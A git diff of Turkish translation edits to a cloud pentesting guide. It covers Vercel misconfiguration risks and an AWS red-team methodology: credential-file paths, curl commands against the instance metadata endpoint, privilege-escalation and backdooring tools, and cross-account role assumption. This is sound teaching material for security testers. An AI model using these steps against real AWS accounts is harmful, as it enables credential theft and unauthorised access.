Vercel'in dağıtım sistemi tarafından şifrelenebilen **Hassas Ortam Değişkenleri** olarak oluşturulmasını zorunlu kılabilirsiniz. -- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunlu kılınmasını devre dışı bırakmak. +- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunluluğunu devre dışı bırakmak. - **Riskler:** - **Sırların Açığa Çıkması:** Ortam değişkenleri, yetkisiz ekip üyeleri tarafından görüntülenebilir veya düzenlenebilir. - **Veri İhlali:** API anahtarları ve kimlik bilgileri gibi hassas bilgilerin sızdırılması. - **Denetim Günlüğü:** Ekibin etkinliğinin son 90 güne kadar bir dışa aktarımını sağlar. Denetim günlükleri, ekip üyeleri tarafından gerçekleştirilen eylemleri izlemeye ve takip etmeye yardımcı olur. - **Yanlış Yapılandırma:**\ -Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek. +Yetkisiz ekip üyelerine denetim günlüklerine erişim vermek. - **Riskler:** -- **Gizlilik İhlalleri:** Hassas kullanıcı etkinliklerinin ve verilerin açığa çıkması. +- **Gizlilik İhlalleri:** Hassas kullanıcı etkinlikleri ve verilerin açığa çıkması. - **Günlüklerle Oynama:** Kötü niyetli aktörler, izlerini örtmek için günlükleri değiştirebilir veya silebilir. -- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcısı (IdP) ile entegrasyon sağlar. +- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcı (IdP) ile entegrasyon sağlar. - **Yanlış Yapılandırma:** Bir saldırgan, SAML parametrelerini (örneğin, Varlık Kimliği, SSO URL'si veya sertifika parmak izleri) ayarlayarak ekibi arka kapı ile kurabilir. - **Risk:** Kalıcılığı sürdürmek. - **IP Adresi Görünürlüğü:** IP adreslerinin, belirli veri koruma yasaları altında kişisel bilgi olarak kabul edilebileceği durumlarda, İzleme sorgularında ve Log Drains'de görüntülenip görüntülenmeyeceğini kontrol eder. - **Yanlış Yapılandırma:** Gereksiz yere IP adresi görünürlüğünü etkin bırakmak. - **Riskler:** -- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemeleriyle uyumsuzluk. +- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemelerine uyumsuzluk. - **Hukuki Sonuçlar:** Kişisel verilerin kötü yönetimi nedeniyle potansiyel para cezaları ve yaptırımlar. - **IP Engelleme:** Vercel'in istekleri engellemesi gereken IP adreslerini ve CIDR aralıklarını yapılandırmanıza olanak tanır. Engellenen istekler, faturalamanıza katkıda bulunmaz. - **Yanlış Yapılandırma:** Bir saldırgan tarafından kötü niyetli trafiğe izin vermek veya meşru trafiği engellemek için kötüye kullanılabilir. - **Riskler:** -- **Meşru Kullanıcılara Hizmetin Reddedilmesi:** Geçerli kullanıcıların veya ortakların erişiminin engellenmesi. +- **Meşru Kullanıcılara Hizmet Reddi:** Geçerli kullanıcılar veya ortaklar için erişimi engelleme. - **Operasyonel Kesintiler:** Belirli bölgeler veya müşteriler için hizmetin kullanılabilirliğinin kaybı. --- @@ -393,7 +390,7 @@ Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek. 1. **Yanlış AWS Bölgesi Seçimi** - **Yanlış Yapılandırma:** Güvenli Hesaplama ağı için arka uç hizmetlerinin bölgesiyle eşleşmeyen bir AWS bölgesi seçmek. -- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve performans düşüklüğü. +- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve kötüleşen performans. 2. **Çakışan CIDR Blokları** - **Yanlış Yapılandırma:** Mevcut VPC'lerle veya diğer ağlarla çakışan CIDR blokları seçmek. - **Risk:** Ağ çatışmaları, başarısız bağlantılar, yetkisiz erişim veya ağlar arasında veri sızıntısına yol açabilir. @@ -401,25 +398,25 @@ Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek. - **Yanlış Yapılandırma:** VPC peering'i yanlış ayarlamak (örneğin, yanlış VPC kimlikleri, eksik yönlendirme tablosu güncellemeleri). - **Risk:** Arka uç altyapısına yetkisiz erişim, güvenli bağlantıların başarısız olması ve potansiyel veri ihlalleri. 4. **Aşırı Proje Atamaları** -- **Yanlış Yapılandırma:** Uygun izolasyon olmadan bir güvenli hesaplama ağına birden fazla proje atamak. -- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye giren projelerin diğerlerini etkilemesine neden olabilir. +- **Yanlış Yapılandırma:** Uygun izolasyon olmadan tek bir Güvenli Hesaplama ağına birden fazla proje atamak. +- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye atılmış projelerin diğerlerini etkilemesine izin verir. 5. **Yetersiz IP Adresi Yönetimi** - **Yanlış Yapılandırma:** Ayrıcalıklı IP adreslerini uygun şekilde yönetmemek veya döndürmemek. -- **Risk:** IP sahtekarlığı, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma. -6. **Gereksiz Yapılandırma Konteynerleri Ekleme** -- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda yapılandırma konteynerlerini güvenli hesaplama ağına eklemek. -- **Risk:** Genişletilmiş saldırı yüzeyi, artan tahsis gecikmeleri ve gereksiz ağ kaynaklarının tüketimi. +- **Risk:** IP sahteciliği, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma. +6. **Gereksiz Derleme Konteynerlerini Dahil Etme** +- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda Güvenli Hesaplama ağına derleme konteynerlerini eklemek. +- **Risk:** Genişleyen saldırı yüzeyi, artan tahsis gecikmeleri ve ağ kaynaklarının gereksiz tüketimi. 7. **Atlatma Sırlarını Güvenli Bir Şekilde Yönetmeme** - **Yanlış Yapılandırma:** Dağıtım korumalarını atlatmak için kullanılan sırları açığa çıkarmak veya yanlış yönetmek. - **Risk:** Korunan dağıtımlara yetkisiz erişim, saldırganların kötü niyetli kodu manipüle etmesine veya dağıtmasına izin verir. 8. **Bölge Yedekleme Yapılandırmalarını Görmezden Gelme** - **Yanlış Yapılandırma:** Pasif yedekleme bölgeleri kurmamak veya yedekleme ayarlarını yanlış yapılandırmak. - **Risk:** Birincil bölge kesintileri sırasında hizmet kesintisi, kullanılabilirliğin azalması ve potansiyel veri tutarsızlığı. -9. **VPC Peering Bağlantı Limitlerini Aşma** -- **Yanlış Yapılandırma:** İzin verilen limitten daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak). -- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hatalarına ve operasyonel kesintilere yol açabilir. +9. **VPC Peering Bağlantı Sınırlarını Aşma** +- **Yanlış Yapılandırma:** İzin verilen sınırdan daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak). +- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hataları ve operasyonel kesintiler. 10. **Güvensiz Ağ Ayarları** -- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya güvenli hesaplama ağı içinde yanlış ağ segmentasyonu. +- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya Güvenli Hesaplama ağı içinde yanlış ağ segmentasyonu. - **Risk:** Veri kesintisi, arka uç hizmetlerine yetkisiz erişim ve saldırılara karşı artan zafiyet. --- diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index dc9aeb0c3..ee36b6f6b 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,15 +4,15 @@ ## Temel Bilgiler -**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır. +**AWS** ortamında **pentesting** yapmaya başlamadan önce, AWS'nin nasıl çalıştığı hakkında bilmeniz gereken birkaç **temel şey** vardır. Bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır. -Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında açıklamalar için: +Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında bilgiler: {{#ref}} aws-basic-information/ {{#endref}} -## Öğrenmek için Laboratuvarlar +## Öğrenme Laboratuvarları - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -27,20 +27,20 @@ Saldırı simülasyonu için araçlar: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Kırmızı Ekip Metodolojisi +## AWS Pentester/Kırmızı Takım Metodolojisi -Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur. +AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur. -Kırmızı Ekip bakış açısıyla, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler: +Kırmızı takım açısından, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler: - Github'daki **sızıntılar** (veya benzeri) - OSINT - **Sosyal** Mühendislik -- **Şifre** yeniden kullanımı (şifre sızıntıları) +- **Şifre** tekrar kullanımı (şifre sızıntıları) - AWS-Hosted Uygulamalardaki Güvenlik Açıkları -- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim +- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile metadata uç noktasına erişim - **Yerel Dosya Okuma** -- `/home/KULLANICI_ADI/.aws/credentials` -- `C:\Users\KULLANICI_ADI\.aws\credentials` +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` - 3. tarafların **ihlal edilmesi** - **İç** Çalışan - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)kimlik bilgileri @@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Kimlik bilgilerini elde etmeyi başardıktan sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız: +> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız: ## Temel Sayım ### SSRF -AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı hileler için kontrol edin: +AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** belirleyebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\ +> Şirketlerin **tokenlerin çalındığını ve kullanıldığını** belirlemek için **canary tokenleri** kullanabileceğini unutmayın. Kullanımdan önce bir tokenin canary token olup olmadığını kontrol etmeniz önerilir.\ > Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** sizin ve diğer kimliklerin ne yapabileceğini ve nasıl **ayrıcalıkları artırabileceğinizi** anlamanıza yardımcı olacaktır. +Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** ne yapabileceğinizi ve diğer kimliklerin ne yapabileceğini anlamanıza yardımcı olacaktır ve **ayrıcalıkları artırma** yollarını öğrenmenizi sağlar. IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\ **Listeleme ve brute-forcing nasıl yapılır** kontrol edin: @@ -110,18 +110,18 @@ aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını belirleme zamanı.\ +> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Hangi hizmetlerin ortamda kullanıldığını belirleme zamanı.\ > Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz. ## Services Enumeration, Post-Exploitation & Persistence -AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **sonrası istismar** ipuçlarını bulacaksınız: +AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bunlardan bazıları hakkında diğer **post-exploitation** ipuçlarını bulacaksınız: {{#ref}} aws-services/ {{#endref}} -Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazının aşağısında [**otomatik araçlar**](./#automated-tools) hakkında bir **bölüm** bulabilirsiniz. +Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazıda **[otomatik araçlar](./#automated-tools)** hakkında bir **bölüm** bulabilirsiniz. Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz: @@ -139,7 +139,7 @@ aws-privilege-escalation/ ## Publicly Exposed Services -AWS hizmetlerini listeleme sırasında bazılarını **İnternete açık öğeler** (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya kovalar...) sunduğunu bulmuş olabilirsiniz.\ +AWS hizmetlerini listeleme sırasında, bazı hizmetlerin **İnternete elemanlar açtığını** bulmuş olabilirsiniz (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya bucketlar...).\ Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir. Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm: @@ -152,16 +152,16 @@ https://book.hacktricks.xyz/ ### From the root/management account -Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir. +Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim sağlamak için **AdministratorAccess** politikası verilir.
-Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var: +Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunları yapmanız gerekir: - **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir. - Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın. -- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**. -- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyorsa, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir). +- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **daha önce keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**. +- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyor olsa bile, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir). ## Automated Tools @@ -178,7 +178,7 @@ AWS_PROFILE= aws_recon \ --regions global,us-east-1,us-east-2 \ --verbose ``` -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır. +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Ana Bilgisayar İsimleri, IP Adresleri) almak için **çoklu bulut aracı**dır. - [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir. ```bash # Installation steps in github @@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` -- [**cartography**](https://github.com/lyft/cartography): Cartography, Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır. +- [**cartography**](https://github.com/lyft/cartography): Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır. ```bash # Install pip install cartography @@ -233,14 +233,14 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümünde toplar. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan tüm [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan **tüm** [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Numaralandırabilir**, **yanlış yapılandırmaları** bulabilir ve bunları **istismar edebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz. +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil, keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Enumerate** edebilir, **yanlış yapılandırmaları** bulabilir ve **bunları istismar** edebilir. **`user_escalation_methods`** dict içinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134). - Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil). ```bash # Install @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'deki bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yolları kontrol etmeyi sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) adresinde. +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'de bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yollar için kontrolleri mümkün kılar. **privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) içinde. ```bash # Install pip install principalmapper @@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tanımlayan ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\ -Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc kontrolü yapmakla kalmaz, aynı zamanda diğer ilginç izinleri de kontrol eder, kullanılması önerilir). +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tespit eden ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\ +Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc için değil, aynı zamanda diğer ilginç izinler için de kontrol eder, kullanılması önerilir). ```bash # Install pip install cloudsplaining @@ -290,9 +290,9 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda **alt alan kaçırma açıklarını** değerlendirmek için AWS hesaplarını analiz eder. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR depolarını listele -> ECR deposunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it. -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** bulmak için kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerini **arama** yapan bir araçtır. +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda AWS hesaplarındaki **alt alan ele geçirme açıklarını** değerlendirir. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR repo listesini al -> ECR repo çek -> Arka kapı ekle -> Arka kapılı görüntüyü it. +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerinde, kazara bırakılmış olabilecek **gizli bilgileri** arayan bir araçtır. ### Denetim @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay yanıtı, sürekli izleme, sertleştirme ve adli hazırlık yapmak için bir Açık Kaynak güvenlik aracıdır. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimler, olay müdahalesi, sürekli izleme, sertleştirme ve adli analiz hazırlığı yapmak için kullanılan bir Açık Kaynak güvenlik aracıdır. ```bash # Install python3, jq and git # Install @@ -314,7 +314,7 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Bu, penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır. ```bash cloudfox aws --profile [profile-name] all-checks ``` @@ -334,9 +334,9 @@ scout aws -p dev ### Sürekli Denetim -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun elden geçirilmiş betiklerini hafif ve esnek bir araca dönüştürerek, birleşik 